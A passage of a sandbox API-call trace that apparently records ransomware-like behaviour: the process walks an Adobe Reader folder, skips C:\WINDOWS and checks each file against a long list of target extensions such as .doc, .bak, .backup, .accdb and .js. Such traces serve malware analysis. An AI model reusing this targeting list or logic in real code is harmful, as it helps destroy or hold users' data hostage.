lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".adp") returned 4 [0270.082] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".ai") returned 3 [0270.082] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.082] lstrlenW (lpString=".ai3") returned 4 [0270.082] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".ai4") returned 4 [0270.082] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".ai5") returned 4 [0270.082] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.082] lstrlenW (lpString=".ai6") returned 4 [0270.083] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".ai7") returned 4 [0270.083] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".ai8") returned 4 [0270.083] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".anim") returned 5 [0270.083] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.083] lstrlenW (lpString=".arw") returned 4 [0270.083] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".as") returned 3 [0270.083] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.083] lstrlenW (lpString=".asa") returned 4 [0270.083] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".asc") returned 4 [0270.083] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".ascx") returned 5 [0270.083] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.083] lstrlenW (lpString=".asm") returned 4 [0270.083] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.083] lstrlenW (lpString=".asmx") returned 5 [0270.083] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.084] lstrlenW (lpString=".asp") returned 4 [0270.084] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".aspx") returned 5 [0270.084] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.084] lstrlenW (lpString=".asr") returned 4 [0270.084] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".asx") returned 4 [0270.084] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".avi") returned 4 [0270.084] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".avs") returned 4 [0270.084] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".backup") returned 7 [0270.084] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.084] lstrlenW (lpString=".bak") returned 4 [0270.084] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".bay") returned 4 [0270.084] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.084] lstrlenW (lpString=".bd") returned 3 [0270.085] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.085] lstrlenW (lpString=".bin") returned 4 [0270.085] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".bmp") returned 4 [0270.085] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".bz2") returned 4 [0270.085] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".c") returned 2 [0270.085] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.085] lstrlenW (lpString=".cdr") returned 4 [0270.085] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".cer") returned 4 [0270.085] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".cf") returned 3 [0270.085] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.085] lstrlenW (lpString=".cfc") returned 4 [0270.085] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".cfm") returned 4 [0270.085] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".cfml") returned 5 [0270.085] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.085] lstrlenW (lpString=".cfu") returned 4 [0270.085] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.085] lstrlenW (lpString=".chm") returned 4 [0270.085] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".cin") returned 4 [0270.086] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".class") returned 6 [0270.086] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.086] lstrlenW (lpString=".clx") returned 4 [0270.086] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".config") returned 7 [0270.086] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.086] lstrlenW (lpString=".cpp") returned 4 [0270.086] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".cr2") returned 4 [0270.086] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".crt") returned 4 [0270.086] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".crw") returned 4 [0270.086] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".cs") returned 3 [0270.086] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.086] lstrlenW (lpString=".css") returned 4 [0270.086] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".csv") returned 4 [0270.086] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.086] lstrlenW (lpString=".cub") returned 4 [0270.086] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".dae") returned 4 [0270.087] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".dat") returned 4 [0270.087] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".db") returned 3 [0270.087] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.087] lstrlenW (lpString=".dbf") returned 4 [0270.087] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".dbx") returned 4 [0270.087] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".dc3") returned 4 [0270.087] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.087] lstrlenW (lpString=".dcm") returned 4 [0270.088] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".dcr") returned 4 [0270.088] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".der") returned 4 [0270.088] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".dib") returned 4 [0270.088] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".dic") returned 4 [0270.088] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".dif") returned 4 [0270.088] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.088] lstrlenW (lpString=".divx") returned 5 [0270.089] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".djvu") returned 5 [0270.089] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".dng") returned 4 [0270.089] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".doc") returned 4 [0270.089] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".docm") returned 5 [0270.089] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".docx") returned 5 [0270.089] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".dot") returned 4 [0270.089] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".dotm") returned 5 [0270.089] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".dotx") returned 5 [0270.089] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.089] lstrlenW (lpString=".dpx") returned 4 [0270.089] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".dqy") returned 4 [0270.089] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".dsn") returned 4 [0270.089] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.089] lstrlenW (lpString=".dt") returned 3 [0270.089] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.089] lstrlenW (lpString=".dtd") returned 4 [0270.089] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".dwg") returned 4 [0270.090] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".dwt") returned 4 [0270.090] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".dx") returned 3 [0270.090] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.090] lstrlenW (lpString=".dxf") returned 4 [0270.090] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".edml") returned 5 [0270.090] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.090] lstrlenW (lpString=".efd") returned 4 [0270.090] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".elf") returned 4 [0270.090] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".emf") returned 4 [0270.090] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".emz") returned 4 [0270.090] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".epf") returned 4 [0270.090] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".eps") returned 4 [0270.090] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".epsf") returned 5 [0270.090] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.090] lstrlenW (lpString=".epsp") returned 5 [0270.090] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.090] lstrlenW (lpString=".erf") returned 4 [0270.090] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.090] lstrlenW (lpString=".exr") returned 4 [0270.090] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".f4v") returned 4 [0270.091] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".fido") returned 5 [0270.091] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0270.091] lstrlenW (lpString=".flm") returned 4 [0270.091] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".flv") returned 4 [0270.091] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".frm") returned 4 [0270.091] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".fxg") returned 4 [0270.091] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".geo") returned 4 [0270.091] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".gif") returned 4 [0270.091] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".grs") returned 4 [0270.091] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".gz") returned 3 [0270.091] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.091] lstrlenW (lpString=".h") returned 2 [0270.091] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.091] lstrlenW (lpString=".hdr") returned 4 [0270.091] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.091] lstrlenW (lpString=".hpp") returned 4 [0270.091] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".hta") returned 4 [0270.092] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".htc") returned 4 [0270.092] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".htm") returned 4 [0270.092] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".html") returned 5 [0270.092] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.092] lstrlenW (lpString=".icb") returned 4 [0270.092] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".ics") returned 4 [0270.092] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".iff") returned 4 [0270.092] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".inc") returned 4 [0270.092] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".indd") returned 5 [0270.092] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.092] lstrlenW (lpString=".ini") returned 4 [0270.092] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".iqy") returned 4 [0270.092] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".j2c") returned 4 [0270.092] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".j2k") returned 4 [0270.092] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.092] lstrlenW (lpString=".java") returned 5 [0270.093] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.093] lstrlenW (lpString=".jp2") returned 4 [0270.093] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.093] lstrlenW (lpString=".jpc") returned 4 [0270.093] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.093] lstrlenW (lpString=".jpe") returned 4 [0270.094] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.094] lstrlenW (lpString=".jpeg") returned 5 [0270.094] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.094] lstrlenW (lpString=".jpf") returned 4 [0270.094] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.094] lstrlenW (lpString=".jpg") returned 4 [0270.094] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.094] lstrlenW (lpString=".jpx") returned 4 [0270.094] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.094] lstrlenW (lpString=".js") returned 3 [0270.094] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.094] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.094] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0270.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.094] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0270.467] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 119 [0270.467] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 1 [0270.467] lstrlenW (lpString="en-ae") returned 5 [0270.467] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-ae") returned -1 [0270.467] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0270.467] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 119 [0270.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0270.479] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.479] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.479] lstrlenW (lpString="ui-strings.js") returned 13 [0270.479] lstrlenW (lpString=".1cd") returned 4 [0270.479] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.479] lstrlenW (lpString=".3ds") returned 4 [0270.480] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.480] lstrlenW (lpString=".3fr") returned 4 [0270.480] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.480] lstrlenW (lpString=".3g2") returned 4 [0270.480] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.480] lstrlenW (lpString=".3gp") returned 4 [0270.480] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.480] lstrlenW (lpString=".7z") returned 3 [0270.480] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.480] lstrlenW (lpString=".accda") returned 6 [0270.480] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.480] lstrlenW (lpString=".accdb") returned 6 [0270.480] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.480] lstrlenW (lpString=".accdc") returned 6 [0270.480] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.480] lstrlenW (lpString=".accde") returned 6 [0270.480] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.480] lstrlenW (lpString=".accdt") returned 6 [0270.480] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.480] lstrlenW (lpString=".accdw") returned 6 [0270.481] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.481] lstrlenW (lpString=".adb") returned 4 [0270.481] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".adp") returned 4 [0270.481] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai") returned 3 [0270.481] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.481] lstrlenW (lpString=".ai3") returned 4 [0270.481] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai4") returned 4 [0270.481] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai5") returned 4 [0270.481] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai6") returned 4 [0270.481] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai7") returned 4 [0270.481] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".ai8") returned 4 [0270.481] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.481] lstrlenW (lpString=".anim") returned 5 [0270.481] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.481] lstrlenW (lpString=".arw") returned 4 [0270.482] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".as") returned 3 [0270.482] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.482] lstrlenW (lpString=".asa") returned 4 [0270.482] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".asc") returned 4 [0270.482] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".ascx") returned 5 [0270.482] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.482] lstrlenW (lpString=".asm") returned 4 [0270.482] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".asmx") returned 5 [0270.482] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.482] lstrlenW (lpString=".asp") returned 4 [0270.482] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".aspx") returned 5 [0270.482] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.482] lstrlenW (lpString=".asr") returned 4 [0270.482] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".asx") returned 4 [0270.482] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.482] lstrlenW (lpString=".avi") returned 4 [0270.482] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".avs") returned 4 [0270.483] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".backup") returned 7 [0270.483] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.483] lstrlenW (lpString=".bak") returned 4 [0270.483] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".bay") returned 4 [0270.483] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".bd") returned 3 [0270.483] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.483] lstrlenW (lpString=".bin") returned 4 [0270.483] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".bmp") returned 4 [0270.483] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".bz2") returned 4 [0270.483] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".c") returned 2 [0270.483] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.483] lstrlenW (lpString=".cdr") returned 4 [0270.483] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".cer") returned 4 [0270.483] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.483] lstrlenW (lpString=".cf") returned 3 [0270.483] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.484] lstrlenW (lpString=".cfc") returned 4 [0270.484] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.484] lstrlenW (lpString=".cfm") returned 4 [0270.484] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.484] lstrlenW (lpString=".cfml") returned 5 [0270.484] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.484] lstrlenW (lpString=".cfu") returned 4 [0270.484] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".chm") returned 4 [0270.485] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".cin") returned 4 [0270.485] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".class") returned 6 [0270.485] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.485] lstrlenW (lpString=".clx") returned 4 [0270.485] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".config") returned 7 [0270.485] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.485] lstrlenW (lpString=".cpp") returned 4 [0270.485] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".cr2") returned 4 [0270.485] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".crt") returned 4 [0270.485] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".crw") returned 4 [0270.485] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".cs") returned 3 [0270.485] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.485] lstrlenW (lpString=".css") returned 4 [0270.485] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.485] lstrlenW (lpString=".csv") returned 4 [0270.485] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".cub") returned 4 [0270.486] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dae") returned 4 [0270.486] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dat") returned 4 [0270.486] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".db") returned 3 [0270.486] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.486] lstrlenW (lpString=".dbf") returned 4 [0270.486] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dbx") returned 4 [0270.486] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dc3") returned 4 [0270.486] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dcm") returned 4 [0270.486] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.486] lstrlenW (lpString=".dcr") returned 4 [0270.486] 